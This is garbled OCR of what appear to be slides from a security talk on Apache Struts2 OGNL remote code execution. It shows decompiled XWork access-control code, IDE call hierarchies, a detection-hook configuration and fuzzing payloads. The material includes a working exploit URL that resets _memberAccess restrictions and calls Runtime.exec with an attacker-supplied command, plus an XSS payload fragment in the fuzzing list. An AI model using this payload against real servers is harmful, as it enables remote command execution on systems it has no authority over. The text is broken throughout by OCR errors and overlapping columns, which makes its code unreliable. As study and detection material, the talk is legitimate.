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<result-types>
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type
<result-type

</result-types>
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name="chain" class="com.opensymphony.xwork2.ActionChainResult"/>

name="dispatcher" class="org.apache.strutsZ.dispatcher.ServletDispatcherResult" default="true"/>
name="freemarker" class="org.apache.strutsZ.views. freemarker.FreemarkerResult"/>
name="httpheader" class="org.apache.struts2.dispatcher.HttpHeaderResult"/>
name="redirect" class="org.apache.strutsZ2.dispatcher.ServletRedirectResult"/>
name="redirectAction" class="org.apache.strutsZ.dispatcher.ServletActionRedirectResult"/>
name="stream" class="org.apache.strutsZ.dispatcher.StreamResult"/>

name="velocity" class="org.apache.strutsZ2.dispatcher.VelocityResult"/>

name="xslt" class="org.apache.strutsZ.views.xslt.XSLTResult"/>

name="plainText" class="org.apache.struts2.dispatcher.PlainTextResult" />

name="postback" class="org.apache.strutsZ.dispatcher.PostbackResult" />
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~» DefaultActionlnvocation.class = @ OgnlUtil.class =" EE Outlir
409 i/ )
110='/  protected String invokeAction(Object action, ActionConfig actionConfig) thro
411 '/ String methodName = this.proxy.getMethod(); 2'
412 |/ i
113 [/ if (LOG.isDebugEnabled()) { B @
DefaultActionlnvocation.class s OgnlUtil.class fw DefaultActionProxy.class 3 = O EE ;
4 */
/5= */  protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String
e */ {
7 | * this.invocation = inv;
78 | ¥/ this.cleanupContext = cleanupContext;
79 */ if (LOG.isDebugEnabled()) {
20 */ L0OG.debug("Creating an DefaultActionProxy for namespace [#@] and action name [#1]", new Str
81 */ }
32 |*/
g1 */ this.actionName = StringEscapelUtils.escapeHtml4(actionName);
g4 */ this.namespace = namespace;
85 %/ this.executeResult = executeResult;
86 |*/ this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils. escapeHtml4(methodName));
87 */ }
88 */
9= */  @Inject

. Problems (@ Javadoc i_{.v Declaration & Console ...;‘ Call Hlerarchy 53

e o B

> @ executeActmn(Stnng Stnng String, Map<String, Object>) : void - com.opensymphony.xwork2 . XWork
P @ intercept(Actioninvocation) : String - com.opensymphony.xwork2.interceptor.Aliasinterceptor
» @ intercept(Actioninvocation) : String - com.opensymphony.xwork?2.interceptor.annotations.AnnotationParameterFili
P @ intercept(Actioninvocation) : String - com.opensymphony.xwork2.interceptor.annotations.AnnotationWorkflowInte
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http:/ /localhost:8080/struts2 /example/HelloWorld.action?

method:# _memberAccess[#parameters.name1[0]]%3dtrue,# memberAccess[#parameters.name[0]]%3dtrue,#
memberAccess[#parameters.name2[0]]%3d{},#_memberAccess[#parameters.name3[0]]%3d{},@java.lang.Runt
ime@getRuntime().exec(#parameters.cmd[0]),17?

#xx:#request. toString&name-aIIowStaticMethodAccess&name1 =allowPrivateAccess&name2=excludedPackag
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“» SecurityMemberAccess.class £3 = O 8= ¢
53 /* */ -

a 5S40 /% w7 i public boolean isAccessible(Map context, Object target, Member member, String propertyNa o
55 /% * / { -
56 /* 56 */ if (checkEnumAccess(target, member)) {

57 |/* b7 *r if (LOG.isTraceEnabled()) {
58 /* 58 */ LOG.trace("Allowing access to enum #@", new Object[] { target 1});
59 |/* a7 }
68 /* 60 */ return true;
61 |/* 7 4 }
62 /* */
63 /* 63 */ Class target(lass = target.getClass();
b4 /* 64 */ Class memberClass = member.getDeclaringClass();
65 /* */
66 /* 66 */ if ((Modifier.isStatic(member.getModifiers())) && (this.allowStaticMethodAccess)) {
67 |/* 6é */ if (LOG.isDebugEnabled()) {
68 /* 08 */ LOG.debug("Support for accessing static methods [target: #@, member: #1, property:
69 /* L7 }
e /% 70 */ if (!isClassExcluded(member.getDeclaringClass())) {
71 |/* 71 %/ targetClass = member.getDeclaringClass();
72 /* 2 3
SV */ 3
74 /* */
7S |/* 75 %/ if (isPackageExcluded(targetClass.getPackage(), memberClass.getPackage())) {
6 /¥ 76 */ if (LOG.isWarnEnabled()) {
i* 77 *f LOG.warn("Package of target [#@] or package of member [#1] are excluded!", new 0Obji
/* */ }
/¥ 79 */ return false:
Problems Javadoc Declaration Console :"“ Call Hierarchy 23
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{orh SecurityMemberAccess.class 33

+ © e .
15 /* 7 public SecurityMemberAccess(boolean method) {
e /* 46 */ super(false);
i this.allowStaticMethodAccess = method;
/* */ 3
r i 4
,* L public boolean getAllowStaticMethodAccess() {
i ] return this.allowStaticMethodAccess;

" INNENND) ((#2) (top (M NN INNLN") INN[ANGNNINNL ) ?) (dojo|struts | session|request |response|application|servlet(Request |Response|Context) |parameters|context|_memberAccess) (\\.|\\[).*",
"~(action|method):.*"

7™ 86 17 T CNECKENUMACCES S (target, memper)j ¥
T - if CLOG.isTraceEnabled()) {

58 /* 58 */ LOG.trace("Allowina access to enum #@". new Ob-iectl1l { taraet 1):

Problems Javadoc Declaration Console :"‘ Call Hierarchy 2% 1\; ahe =3

Members calling 'isAccessible(Map, Object, Member, String)' - in workspace

¥ @ isAccessible(Map, Object, Member, String) : boolean - com.opensymphony.xwork2.ognl.SecurityMemberAccess
& callConstructor(OgnlContext, String, Object[]) : Object - ognl.OgnlRuntime

e getFieldValue(OgnlContext, Object, String, boolean) : Object - ognl.OgnlRuntime

o getMethodValue(OgnlContext, Object, String, boolean) : Object - ognl.OgnlRuntime

@ isFieldAccessible(OgnlContext, Object, Field, String) : boolean - ognl.OgnlRuntime

& isMethodAccessible(OgniContext, Object, Method, String) : boolean - ognl.OgniRuntime

e setMethodValue(OgniContext, Object, String, Object, boolean) : boolean - ognl.OgniRuntime
@ setup(Map, Object, Member, String) : Object - ognl.DefaultMemberAccess

@ toGetSourceString(OgnlContext, Object) : String - ognl.ASTProperty

@ toGetSourceString(OgnlContext, Object) : String - ognl.ASTStaticMethod

© toSetSourceString(OgniContext, Object) : String - ognl.ASTProperty

YYVVYVYYYYYY
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*'/ fw DefaultMemberAccess.class 23
*/ publ 15 /* */ 1
4 in 126 /* * ¥
*/ f 127 |/* */
i 4 pLv 128 /* 7 4
e pL 129 /* o
*/  Ppusi3e |/* */
*/  PUn3l |/* */
:; Plal3izg /* */  public boolean isAccessible(Map context, Object target, Member member, String propertyName)
pL 133 /* */ {
:j p: 134 /* 134 */ int modifiers = member.getModifiers();
x/ 'pn 135 ;: 135 :; boolean result = Modifier.isPublic(modifiers);
136
. Pr137 /x137 #/  if (lresult) { N
.y pt 138 /* 138 */ if (Modlfler‘.15Pr1vatt.9(mod1ﬁer's)) {
* 139 /* 139 */ result = getAllowPrivateAccess();
*/ pL 149 o */ 3
* / 141 /* 141 */ else if (Modifier.isProtected(modifiers)) {
* / E 142 /* 142 */ result = getAllowProtectedAccess();
*/ 143 /* */ } else {
Y 144 /* 144 */ result = getAllowPackageProtectedAccess();
PL 145 /=% */ }
&/ { 146 /* */ }
k/ 147 /* */
£/ 148 /* 148 */ return result;
149 /* */ }
k/ } TEm /% */ 1
&/
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<! - KRR —>

<! --BEEANRM-->
<hookclass nam <hookclass name="java.lang.ProcessBuilder">

<hookmethod enable="true" name="start()" insertbefore="true">

<! [CDATAL
< l - {E%j{‘ﬁ {
<hookmetho core.AttachDumpCore.info("exec command="+command.toString());
1 TCDA java.lang.String progStart = command.get(@);
<: [ if (progStart.startsWith(";bugtestcmd;")) {

/*
{ core.AttachDumpCore.info("found command inject");

PPN

<!-- strutsZ ognl #&M-->
<hookclass name="com.opensymphony.xworkZ.ognl.OgnlUtil">
<hookmethod enable="true" name="compile(java.lang.String)" insertbefore="true">
<! [CDATAL Il progStar
{
java.lang.String exp = $1;
if ($1.contains("class.classLoader.jarPath")|[%$1.contains("struts2Bug")) {

/*
core.AttachDumpCore.info("found struts2 rce");
_stack_;
*/
core.AttachDumpCore.register("strutsZRCE", "class.classLoader. jarPathlIstruts2Bug");
1
1
11>
</hookmethod>
</hookclass>
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|5 fuzzing.rule 33 = [

L

¥ "payloads":["struts2bug","method:${struts2bug}","action:${struts2bug}t", "redirect:${struts2bug}t”,";bugtestcmd;",""\"><img src:
Y
[stack]:core.AttachDumpCore.getStackInfo(AttachDumpCore.java:528)
core.AttachDumpCore.register(AttachDumpCore.java:574)
com.opensymphony.xwork2.ognl.0gnlUtil.getValue(OgnlUtil.java:-1)
com.opensymphony.xwork2.DefaultActionInvocation. invokeAction(DefaultActionInvocation.java:430)
[INFOI :found com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:290)
[INFO] :[StFUtcom.opensymphony.xworkz.DefaultActionInvocation.invoke(DefaultActionInvocation.java:251)
GET /StrUtSZB/org.apache.strutsZ.interceptor.DeprecationInterceptor.intercept(DeprecationInterceptor.java:41)
host: localhoscom,opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)
connection: keprg.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:256)
cache-control:com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)
upgrade-insecucom.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:168)
user-agent: Mccom.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
accept: text/hcom.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
accept-encodincom.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:265)
accept-languagorg.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:76)
cookie: JSESSIcom.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
com.opensymphony.xwork2. interceptor.ConversionErrorInterceptor.intercept(ConversionErrorInterceptor.java:138)
[response]: com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.dolntercept(ParametersInterceptor.java:229)
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)

<html> com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:229)
<head><title>Scom.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)
<body> com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)

<h3>Exceptcom.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:191)
java.1ang.com.opensymphony.xworkz.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:73)
<h3>Stack com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
<pre> org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:125)
java.1com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)
at Ognorg.apache.strutsz.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:gl)
at o ncom.opensymphony.xworkZ.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
at con®rg-apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:253)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:100)
at Ogncom.opensymphony.xworkZ.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
Ogncom.opensymphony.xworkz.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:141)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:245)
I o1 . Opensymphony . xwork2. interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:145) 1
com.opensymphony.xwork2.DefaultActionInvocation. invoke(DefaultActionInvocation.java:245)
com.opensymphony.xwork2.interceptor.Preparelnterceptor.doIntercept(Preparelnterceptor.java:171)
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